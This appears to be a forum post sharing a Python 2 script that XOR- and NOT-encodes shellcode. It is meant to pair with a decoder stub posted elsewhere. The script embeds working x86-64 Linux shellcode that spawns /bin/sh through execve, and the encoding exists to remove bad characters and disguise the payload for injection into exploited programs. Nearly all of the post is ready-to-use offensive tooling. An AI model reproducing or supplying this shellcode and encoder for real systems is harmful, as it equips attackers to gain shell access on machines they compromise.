Python - XOR & NOT encoder

[Resheph]

This is the encoder script for the decoder stub in https://www.postexplo.com/forum/prog...r-stub-example

It is pretty simple and does not guarantee bad chars are not present after encoding. You have to pick a decent value while XORing and manually verify the result.

#!/usr/bin/python

shellcode = ("\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x48\x89\xe2\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05")        # Shellcode to encode

encoded = ""
encoded2 = ""

for x in bytearray(shellcode) :
        # Encoding
        y = x^0xAA              # XOR with a proper value to avoid whatever bad chars you cannot use
        z = ~y                  # NOT

        encoded += '\\x'
        encoded += '%02x' % (z & 0xff)
        encoded2 += '0x'
        encoded2 += '%02x,' % (z & 0xff)

print encoded
print encoded2
print 'Len: %d' % len(bytearray(shellcode))